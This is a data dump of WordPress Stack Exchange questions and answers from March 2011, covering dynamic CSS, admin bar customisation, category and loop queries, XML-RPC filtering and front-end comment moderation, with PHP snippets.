  <row Id="12645" PostTypeId="2" ParentId="12627" CreationDate="2011-03-21T16:21:11.437" Score="3" ViewCount="" Body="&lt;p&gt;From the looks of it your adding php right in the css which will not work. You need to write to the css file itself or dump it right into the html as Jeremy said as I am writing this:)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Writing a new CSS file every time you make any changes can tax your system, but works well if your not making lots of dynamic changes to a live site, for instance the twentyten weaver theme does this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An easy way to do this is to actually turn your .css file into a .php file with the following at the top, and your php/css after. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;header('Content-Type: text/css');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The alternative it to write it in the header of your html, lots of plugins do this, and it can be annoying to alter the markup since it is not semantically separate, but it's also very easy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Typically this is done using the Options API : &lt;a href=&quot;http://codex.wordpress.org/Options_API&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Options_API&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an example that has used add_option in the backend for the background color (this is put in the header.php for example).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;body {&#xA;  background-color: &amp;lt;?php echo get_option('background_color'); ?&amp;gt;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For previews you can hook into the default preview_post_link and use an iframe, here is an example.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &amp;lt;iframe src=&quot;&amp;lt;?php echo clean_url(apply_filters('preview_post_link', add_query_arg('preview', 'true', get_permalink($post-&amp;gt;ID)))); ?&amp;gt;&quot; width=&quot;100%&quot; height=&quot;600&quot; &amp;gt;&amp;lt;/iframe&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Please remember there are performance issues when writing dynamic styles and you should do more research into this topic depending on the context.&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="1509" LastEditorUserId="1509" LastEditorDisplayName="" LastEditDate="2011-03-21T16:43:58.123" LastActivityDate="2011-03-21T16:43:58.123" CommentCount="2" />
  <row Id="12646" PostTypeId="2" ParentId="12644" CreationDate="2011-03-21T16:30:05.040" Score="4" ViewCount="" Body="&lt;p&gt;&lt;code&gt;/%year%/%monthnum%/%postname%/&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="49" LastActivityDate="2011-03-21T16:30:05.040" CommentCount="2" />
  <row Id="12647" PostTypeId="2" ParentId="12634" CreationDate="2011-03-21T16:45:28.000" Score="1" ViewCount="" Body="&lt;p&gt;Archive pages are not generated by some specific function, but are produced by processing template file from your theme.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For tag archive page see &lt;a href=&quot;http://codex.wordpress.org/Template_Hierarchy#Tag_display&quot; rel=&quot;nofollow&quot;&gt;Template Hierarchy &gt; Tag display&lt;/a&gt; to determine which file in your theme could be it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If theme you are using comes from official repository and likely to be updated it's good practice to create &lt;a href=&quot;http://codex.wordpress.org/Child_Themes&quot; rel=&quot;nofollow&quot;&gt;Child Theme&lt;/a&gt; for it, so that your tweaks survive update.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-03-21T16:45:28.000" />
  <row Id="12648" PostTypeId="2" ParentId="12638" CreationDate="2011-03-21T16:47:28.047" Score="1" ViewCount="" Body="&lt;p&gt;I think it is safe to say that 95% of hosting is &lt;strong&gt;marketing.&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="1509" LastEditorUserId="1509" LastEditorDisplayName="" LastEditDate="2011-03-21T17:19:13.900" LastActivityDate="2011-03-21T17:19:13.900" CommentCount="2" />
  <row Id="12649" PostTypeId="2" ParentId="12642" CreationDate="2011-03-21T17:33:29.847" Score="1" ViewCount="" Body="&lt;p&gt;If you'd try to do this, you'd end up with querying a maybe pretty big load of data, which should be avoided. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Best would be to pre-collect the data in some &lt;code&gt;global (array) $prefix_meta_box_values&lt;/code&gt; and use this later for front-end output. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could also populate some array on &lt;code&gt;save_post&lt;/code&gt; hook. Simply grap the values with &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_post_meta&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;get_post_meta( $post_id, 'key', 'value' )&lt;/code&gt;&lt;/a&gt; inside a function on your post edit screen in admin UI and add it to some db-field with &lt;code&gt;update_option('agents_data')&lt;/code&gt;. This would allow you to call &lt;code&gt;get_option('agents_data');&lt;/code&gt; in the front end and populate your select boxes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// The updata agents option could look like this, asuming that you already added &#xA;// some data with an add_option call somewhere. Else you could just grap the old&#xA;// data, merge it with the new and update the post meta field.&#xA;// This was fastly written out of my head, so don't expect it to work without any fixing.&#xA;function my_agents_data() &#xA;{&#xA;  $new_agents_data = get_post_meta( $GLOBALS[$post]-&amp;gt;ID, 'key', 'value' );&#xA;  $old_agents_data = get_option( 'agents_data' );&#xA;  $resulting_agents_data = array_merge( $old_agents_data, $new_agents_data );&#xA;  update_option( 'agents_data', $resulting_agents_data );&#xA;}&#xA;add_action( 'save_post', 'my_agents_data' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This would allow you to get the option data from &lt;code&gt;get_option('agents_data')&lt;/code&gt; option field in wp options table. Point with this is, that you then should avoid that the meta data get's into the post meta table.&lt;/p&gt;&#xA;" OwnerUserId="385" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-03-24T06:45:07.900" LastActivityDate="2011-03-24T06:45:07.900" CommentCount="2" />
  <row Id="12650" PostTypeId="2" ParentId="12634" CreationDate="2011-03-21T17:46:30.460" Score="2" ViewCount="" Body="&lt;p&gt;There is a conditional called :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;is_tag&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;//From the codex&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;is_tag();&#xA;// When any Tag archive page is being displayed.&#xA;&#xA;is_tag('mild');&#xA;// When the archive page for tag with the slug of 'mild' is being displayed.&#xA;&#xA;is_tag(array('sharp','mild','extreme'));&#xA;// Returns true when the tag archive being displayed has a slug of either &quot;sharp&quot;, &quot;mild&quot;, or &quot;extreme&quot;.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/is_tag&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/is_tag&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2011-03-21T17:46:30.460" />
  <row Id="12651" PostTypeId="2" ParentId="1567" CreationDate="2011-03-21T17:51:58.533" Score="1" ViewCount="" Body="&lt;h2&gt;Remove &quot;Comments&quot; link from admin bar if comment status is closed&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;You can set the default comment status to 'closed', but the comments link will stay. Simply drop the following into your &lt;code&gt;functions.php&lt;/code&gt; file to get rid of it based on the  condition. Offers 2 different approaches.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; * Disable 'Comments' link if default status is _closed_&#xA; */&#xA;function remove_comments() &#xA;{&#xA;    $default_comment_status = get_option( 'default_comment_status' );&#xA;&#xA;    if ( $default_comment_status == 'closed' ) &#xA;    {&#xA;        remove_action( 'admin_bar_menu', 'wp_admin_bar_comments_menu', 50 );&#xA;&#xA;        // optional solution using the WP_Admin_Bar class from /wp-includes/class-wp-admin-bar.php&#xA;        # global $wp_admin_bar;&#xA;        # $wp_admin_bar-&amp;gt;remove_menu( 'comments' );&#xA;    }&#xA;    else &#xA;    {&#xA;        return;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-03-21T17:51:58.533" CommunityOwnedDate="2011-03-21T17:51:58.533" />
  <row Id="12652" PostTypeId="2" ParentId="12502" CreationDate="2011-03-21T18:07:11.883" Score="1" ViewCount="" Body="&lt;h2&gt;Unset&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Here's an &lt;strong&gt;example&lt;/strong&gt; of how to unset the comments link if the default status is 'closed' (offers 2 different approaches).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; * Disable 'Comments' link if default status is _closed_&#xA; */&#xA;function remove_comments() &#xA;{&#xA;    $default_comment_status = get_option( 'default_comment_status' );&#xA;&#xA;    if ( $default_comment_status == 'closed' ) &#xA;    {&#xA;        remove_action( 'admin_bar_menu', 'wp_admin_bar_comments_menu', 50 );&#xA;&#xA;        // optional solution using the WP_Admin_Bar class from /wp-includes/class-wp-admin-bar.php&#xA;        # global $wp_admin_bar;&#xA;        # $wp_admin_bar-&amp;gt;remove_menu( 'comments' );&#xA;    }&#xA;    else &#xA;    {&#xA;        return;&#xA;    }&#xA;}&#xA;add_action( 'admin_bar_menu', 'remove_comments', 0 );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can use &lt;code&gt;remove_action&lt;/code&gt; calls for any of the following (/wp-includes/class.admin-bar.php - line 182 - 192) to unset the menu items:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function remove_all_admin_bar_items() &#xA;{&#xA;    remove_action( 'admin_bar_menu', 'wp_admin_bar_my_account_menu', 10 );&#xA;    remove_action( 'admin_bar_menu', 'wp_admin_bar_my_sites_menu', 20 );&#xA;    remove_action( 'admin_bar_menu', 'wp_admin_bar_edit_menu', 30 );&#xA;    remove_action( 'admin_bar_menu', 'wp_admin_bar_shortlink_menu', 80 );&#xA;    remove_action( 'admin_bar_menu', 'wp_admin_bar_updates_menu', 70 );&#xA;&#xA;    if ( !is_network_admin() &amp;amp;&amp;amp; !is_user_admin() ) {&#xA;        remove_action( 'admin_bar_menu', 'wp_admin_bar_new_content_menu', 40 );&#xA;        remove_action( 'admin_bar_menu', 'wp_admin_bar_comments_menu', 50 );&#xA;        remove_action( 'admin_bar_menu', 'wp_admin_bar_appearance_menu', 60 );&#xA;    }&#xA;}&#xA;add_action( 'admin_bar_menu', 'remove_all_admin_bar_items', 0 );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr /&gt;&#xA;&#xA;&lt;h2&gt;Set and re-order&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Add the following calls to your &lt;code&gt;functions.php&lt;/code&gt; file &lt;strong&gt;after&lt;/strong&gt; unsetting the items. The integer at the end of every &lt;code&gt;add_action&lt;/code&gt; call is the new &quot;order&quot;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function reorder_admin_bar_items()&#xA;{&#xA;    add_action( 'admin_bar_menu', 'wp_admin_bar_my_account_menu', 100 );&#xA;    add_action( 'admin_bar_menu', 'wp_admin_bar_my_sites_menu', 10 );&#xA;    add_action( 'admin_bar_menu', 'wp_admin_bar_edit_menu', 40 );&#xA;    add_action( 'admin_bar_menu', 'wp_admin_bar_shortlink_menu', 20 );&#xA;    add_action( 'admin_bar_menu', 'wp_admin_bar_updates_menu', 50 );&#xA;&#xA;    if ( !is_network_admin() &amp;amp;&amp;amp; !is_user_admin() ) {&#xA;        add_action( 'admin_bar_menu', 'wp_admin_bar_new_content_menu', 80 );&#xA;        add_action( 'admin_bar_menu', 'wp_admin_bar_comments_menu', 170 );&#xA;        add_action( 'admin_bar_menu', 'wp_admin_bar_appearance_menu', 40 );&#xA;    }&#xA;}&#xA;add_action( 'admin_bar_menu', 'reorder_admin_bar_items', 20 );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr /&gt;&#xA;&#xA;&lt;h2&gt;Add a single item &amp; sub menu item&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;You can also use the &lt;code&gt;add_admin_bar_menus&lt;/code&gt; hook to add items to your admin bar.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function parent_menu_item() &#xA;    {&#xA;        global $wp_admin_bar;&#xA;&#xA;        // Parent&#xA;        $wp_admin_bar-&amp;gt;add_menu( &#xA;            array( &#xA;                 'id'       =&amp;gt; 'parent_id_name'&#xA;                ,'title'    =&amp;gt; __( 'Parent Title', 'your_textdomain' )&#xA;                ,'href'     =&amp;gt; '#'&#xA;            ) &#xA;        );&#xA;            // Link to dev mode admin page&#xA;            $wp_admin_bar-&amp;gt;add_menu( &#xA;                array( &#xA;                     'parent'   =&amp;gt; 'parent_id_name'&#xA;                    ,'id'           =&amp;gt; 'child_id_name'&#xA;                    ,'title'    =&amp;gt; __( 'Child title', 'your_textdomain' )&#xA;                    ,'href'     =&amp;gt; '#'&#xA;                ) &#xA;            );&#xA;    }&#xA;    add_action( 'add_admin_bar_menus', 'parent_menu_item', 10 );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I can't think of how to make this guide more complete, but anybody can feel free to edit my answer and add everything that could be useful.&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-03-21T18:07:11.883" />
  <row Id="12653" PostTypeId="1" AcceptedAnswerId="12707" CreationDate="2011-03-21T18:31:37.813" Score="7" ViewCount="175" Body="&lt;p&gt;The documentation for dealing with official WP repository is exclusively about using command line. While I have no bias against that, I do have little experience with VCS and two (or three) different ones I will have to figure out and use in nearest future.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So for now I wing it with VCS integration features in IDEs (NetBeans, PHPStorm). Which often leaves me confused on specifics and ways of doing things properly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any good articles/posts/guides on using official SVN repository (or at least SVN in general) with IDEs or other GUI-based tools? Something that focuses on concepts and workflow, rather than typing in arcane lines in console.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-03-22T10:58:43.547" Title="Any guides on using WP SVN with IDE clients?" Tags="&lt;subversion&gt;&lt;ide&gt;" AnswerCount="4" CommentCount="3" FavoriteCount="4" />
  <row Id="12654" PostTypeId="1" AcceptedAnswerId="12656" CreationDate="2011-03-21T18:37:41.010" Score="2" ViewCount="291" Body="&lt;p&gt;I'd like &lt;code&gt;get_the_category_list&lt;/code&gt; to only display one or two categories instead of &lt;strong&gt;all&lt;/strong&gt; the categories associated with the post. Haven't been able to find any results.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo get_the_category_list(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any help would be appreciated&lt;/p&gt;&#xA;" OwnerUserId="3296" LastActivityDate="2011-08-08T21:24:50.280" Title="Display only one result from &quot;get_the_category_list&quot;" Tags="&lt;categories&gt;&lt;list&gt;" AnswerCount="3" />
  <row Id="12655" PostTypeId="2" ParentId="12573" CreationDate="2011-03-21T18:47:24.080" Score="1" ViewCount="" Body="&lt;p&gt;the above solution i tried already.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Never mind, i solved it, even i don't know why. if some body knows...:&#xA;this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// not working&#xA;    $paged = get_query_var( 'paged' ) ? get_query_var( 'paged' ) : false;&#xA;    if ( $paged === false ) {&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;didn't worked, but this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// works&#xA;    $paged = get_query_var( 'page' ) ? get_query_var( 'page' ) : false;&#xA;    if ( $paged === false ) {&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;did work. the difference is &quot;page&quot; instead of &quot;paged&quot;. i don't know why everywhere i looked i've found the code with &quot;paged&quot; and it didn't worked (even it the conditional tags page in the codex!), but &lt;a href=&quot;http://wordpress.org/support/topic/page-pagination-doesnt-seem-to-wor&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;, in a simple topic i found it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;nevertheless, it is solved.&lt;/p&gt;&#xA;" OwnerUserId="3603" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-03-22T07:42:03.310" LastActivityDate="2011-03-22T07:42:03.310" CommentCount="4" />
  <row Id="12656" PostTypeId="2" ParentId="12654" CreationDate="2011-03-21T18:50:22.017" Score="2" ViewCount="" Body="&lt;p&gt;Quick idea would be to pass some simple separator like comma and cut from the start of result till it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I think that if you want better control on output it would make more sense to use level deeper &lt;code&gt;get_the_category()&lt;/code&gt; function and build markup yourself.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-03-21T18:50:22.017" />
  <row Id="12657" PostTypeId="2" ParentId="12638" CreationDate="2011-03-21T18:50:45.787" Score="0" ViewCount="" Body="&lt;p&gt;What it comes down to is what would you do to optimize a server running WordPress that you normally wouldn't do on a server running anything else? Not much. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There really isn't much other than pre-installing WordPress and a few plugins for you. Maybe they could provide some custom hosting features or proprietary plugins as well. Just about any other optimization, backup, security, caching, or other enhancements are things you would do anyway and would benefit any web server application.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm sure there are plenty of &quot;WordPres Optimized&quot; hosting companies that do nothing more than pre-install WordPress for you. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the other hand, it could be that the hosting company has a very good knowledge of WordPress and knows how to address common issues and provide good customer support. And that certainly would be worth paying extra for. &lt;/p&gt;&#xA;" OwnerUserId="4113" LastActivityDate="2011-03-21T18:50:45.787" CommentCount="3" />
  <row Id="12658" PostTypeId="1" CreationDate="2011-03-21T18:52:25.223" Score="0" ViewCount="46" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Possible Duplicate:&lt;/strong&gt;&lt;br&gt;&#xA;  &lt;a href=&quot;http://wordpress.stackexchange.com/questions/10458/is-there-a-stackexchange-like-voting-plugin-for-wordpress&quot;&gt;Is there a StackExchange-like voting plugin for Wordpress?&lt;/a&gt;  &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;Is there a plugin that allows me to do something similar to this site's rating system where higher votes elevates the post?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, I want to start an unrelated site where people can post a topic and the community can vote on each...and the top topic raises to the top.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any help!&lt;/p&gt;&#xA;" OwnerUserId="4088" LastActivityDate="2011-03-21T18:52:25.223" ClosedDate="2011-03-21T19:11:35.787" Title="How would one recreate this site's rating system?" Tags="&lt;categories&gt;" CommentCount="0" />
  <row Id="12659" PostTypeId="2" ParentId="12654" CreationDate="2011-03-21T19:17:50.553" Score="0" ViewCount="" Body="&lt;p&gt;This worked. Found in &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_the_category&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/get_the_category&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$category = get_the_category(); &#xA;echo $category[0]-&amp;gt;cat_name;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3296" LastActivityDate="2011-03-21T19:17:50.553" />
  <row Id="12660" PostTypeId="2" ParentId="12653" CreationDate="2011-03-21T19:47:42.087" Score="0" ViewCount="" Body="&lt;p&gt;If you are using Windows you could try TortoiseSVN (http://tortoisesvn.tigris.org/). It doesn't integrate with the IDE but it does integrate with Windows Explorer so you can right-click too check-in/check-out your code. &lt;/p&gt;&#xA;" OwnerUserId="3973" LastActivityDate="2011-03-21T19:47:42.087" CommentCount="1" />
  <row Id="12661" PostTypeId="2" ParentId="10458" CreationDate="2011-03-21T20:00:12.280" Score="0" ViewCount="" Body="&lt;p&gt;I've used &lt;a href=&quot;http://www.gdstarrating.com/&quot; rel=&quot;nofollow&quot;&gt;GD Star Rating&lt;/a&gt;; it's similar to Vote It Up. It allows you to add thumbs up/down and/or star ratings to posts, pages, comments, etc. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Its major drawback is the complex setup and options.&lt;/p&gt;&#xA;" OwnerUserId="4116" LastActivityDate="2011-03-21T20:00:12.280" />
  <row Id="12662" PostTypeId="2" ParentId="12641" CreationDate="2011-03-21T20:01:21.000" Score="2" ViewCount="" Body="&lt;p&gt;HyperDB lets you split whole tables across different databases but it won't split a single table. You wouldn't want that anyway because that means wordpress would have to query multiple databases to find a single post. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, depending on how your site is set up, you might be able to work around that by creating a multisite wordpress install using subdirectories. That means splitting your site up into subdirectories that are actually separate wordpress installs. Then you can use hyperdb to distribute those tables. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or an easier thing to do is find a web host that doesn't limit your database size :)&lt;/p&gt;&#xA;" OwnerUserId="3973" LastActivityDate="2011-03-21T20:01:21.000" CommentCount="1" />
  <row Id="12663" PostTypeId="1" AcceptedAnswerId="12681" CreationDate="2011-03-21T20:40:18.360" Score="0" ViewCount="391" Body="&lt;p&gt;I have a custom post type for accessories. When you view the post it also shows related posts. It looks great, but it also shows the current post within related posts. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to exclude the current post from the loop?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div&amp;gt;&#xA;    &amp;lt;?php &#xA;    $category = get_the_category(); &#xA;    $model = $category[1]-&amp;gt;cat_name;&#xA;    $accessory = array('numberposts' =&amp;gt; 8, 'offset'=&amp;gt; 1, 'post_type' =&amp;gt; 'accessory', 'category_name' =&amp;gt; $model, 'order' =&amp;gt; 'DESC');&#xA;    query_posts( $accessory );&#xA;   ?&amp;gt;&#xA;      &amp;lt;?php if (have_posts()) : ?&amp;gt;&#xA;       &amp;lt;?php while (have_posts()) : the_post(); ?&amp;gt;&#xA;        &amp;lt;div&amp;gt;&#xA;            &amp;lt;?php wp_link_pages( array( 'before' =&amp;gt; '&amp;lt;div class=&quot;page-link&quot;&amp;gt;' . __( 'Pages:', 'openeye' ), 'after' =&amp;gt; '&amp;lt;/div&amp;gt;' ) ); ?&amp;gt;&#xA;            &amp;lt;h4&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/h4&amp;gt;&#xA;            Part Number: &amp;lt;?php echo get_post_meta($post-&amp;gt;ID, &quot;accessory-part-number&quot;, true); ?&amp;gt;&#xA;            &amp;lt;?php $desc = get_post_meta($post-&amp;gt;ID, &quot;accessory-description&quot;, true); ?&amp;gt;&#xA;            &amp;lt;p&amp;gt;&amp;lt;?php echo utf8_truncate( $desc ); ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;            &amp;lt;a href=&quot;&amp;lt;?php echo get_permalink(); ?&amp;gt;&quot;&amp;gt;Learn more about the &amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;?php endwhile; ?&amp;gt;&#xA;      &amp;lt;?php endif; ?&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;   &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3296" LastActivityDate="2011-03-22T01:22:14.907" Title="Exclude current post from loop" Tags="&lt;categories&gt;&lt;loop&gt;&lt;custom-loop&gt;" AnswerCount="2" />
  <row Id="12664" PostTypeId="1" CreationDate="2011-03-21T21:00:05.457" Score="0" ViewCount="75" Body="&lt;pre&gt;&lt;code&gt;query_posts( array(&#xA;'post_type' =&amp;gt; 'songs',&#xA;'meta_query' =&amp;gt; array(&#xA;     array(&#xA;       'key' =&amp;gt; 'vimeo'&#xA;     ),&#xA;          array(&#xA;           'key' =&amp;gt; '_edit_last',&#xA;           'value' =&amp;gt; '1'&#xA;          )&#xA;    )&#xA;) &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;);&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How could I fetch results having key 'vimeo' or 'key _edit_last' but not both?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I fetch those with key '_edit_last', I will surely get duplicate results, as all posts with key 'vimeo' have key '_edit_last'&lt;/p&gt;&#xA;" OwnerUserId="4102" LastActivityDate="2011-03-21T21:00:05.457" Title="query_posts for key1 or key2 but not both" Tags="&lt;query-posts&gt;&lt;post-meta&gt;" CommentCount="1" />
  <row Id="12665" PostTypeId="2" ParentId="12663" CreationDate="2011-03-21T21:12:44.460" Score="1" ViewCount="" Body="&lt;p&gt;First, you should &lt;a href=&quot;http://wordpress.stackexchange.com/questions/1753/when-should-you-use-wp-query-vs-query-posts-vs-get-posts&quot;&gt;never use &lt;code&gt;query_posts()&lt;/code&gt; for secondary Loops&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for excluding current post, it would take something like this in arguments:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;'post__not_in` =&amp;gt; array( get_the_ID() )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-03-21T21:12:44.460" CommentCount="5" />
  <row Id="12666" PostTypeId="2" ParentId="12328" CreationDate="2011-03-21T21:14:53.037" Score="0" ViewCount="" Body="&lt;p&gt;Okay, so I discovered the answer to my question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is possible to filter the posts and categories that users see in their XML-RPC application.  The &lt;code&gt;pre_get_posts&lt;/code&gt; and &lt;code&gt;list_terms_exclusions&lt;/code&gt; filters are called via the blogger.getRecentPosts XML-RPC method.  Inside this function, it calls &lt;code&gt;wp_get_recent_posts&lt;/code&gt; which uses &lt;code&gt;get_posts&lt;/code&gt;.  In other words, there's really nothing special you have to do if you are hooking into the above filters.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My problem was that for my plugin, I was only filtering while in the admin: &lt;code&gt;if ( is_admin()&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;SOLUTION&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order to make sure it only fires when requested through an XML-RPC application, all you have to do is check for the XMLRPC_REQUEST constant and hook into the &lt;code&gt;xmlrpc_call&lt;/code&gt; action.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( defined ( 'XMLRPC_REQUEST' ) &amp;amp;&amp;amp; XMLRPC_REQUEST ) {&#xA;    add_action( 'xmlrpc_call', array( &amp;amp;$this, 'posts' ) );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Inside your callback, hook into the &lt;code&gt;pre_get_posts&lt;/code&gt; and &lt;code&gt;list_terms_exclusions&lt;/code&gt; filters.&lt;/p&gt;&#xA;" OwnerUserId="1511" LastActivityDate="2011-03-21T21:14:53.037" />
  <row Id="12667" PostTypeId="1" AcceptedAnswerId="12668" CreationDate="2011-03-21T21:15:10.313" Score="1" ViewCount="164" Body="&lt;p&gt;I've almost finished coding up a function that allows &lt;strong&gt;contributers&lt;/strong&gt; when they are the post author to manage comments left on their own post (portfolio) couldnt find a plugin to do it so had to get myself dirty.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It will basically work like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) User leaves a comment on post_authors portfolio.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Post_author is notified by email that they have a comment for moderation (this bit is handled by a plugin &quot;notify-on-comments&quot;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) Post_author logs in and goes to his/her portfolio page and in the comments are two links one for &quot;delete&quot; and one for &quot;approve&quot; comment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now i can get the delete to work on &lt;strong&gt;already published comments&lt;/strong&gt;, my problem is that i am wanting to &lt;strong&gt;show the unpublished comment along with the published comments&lt;/strong&gt; (dont want folks having access to wp-admin dashboard to moderate comments, i want it all done on the front end),&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know how i can do this part of showing the un-approved comment at front-end to contributers?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once completed i will be more than happy to share the code and credits should anyone else need it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regards and thanks in advance&lt;/p&gt;&#xA;" OwnerUserId="3710" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-03-21T21:50:56.380" LastActivityDate="2011-07-22T03:15:20.887" Title="show un-approved comments at wordpress front end" Tags="&lt;comments&gt;&lt;get-comments&gt;" AnswerCount="2" CommentCount="0" />
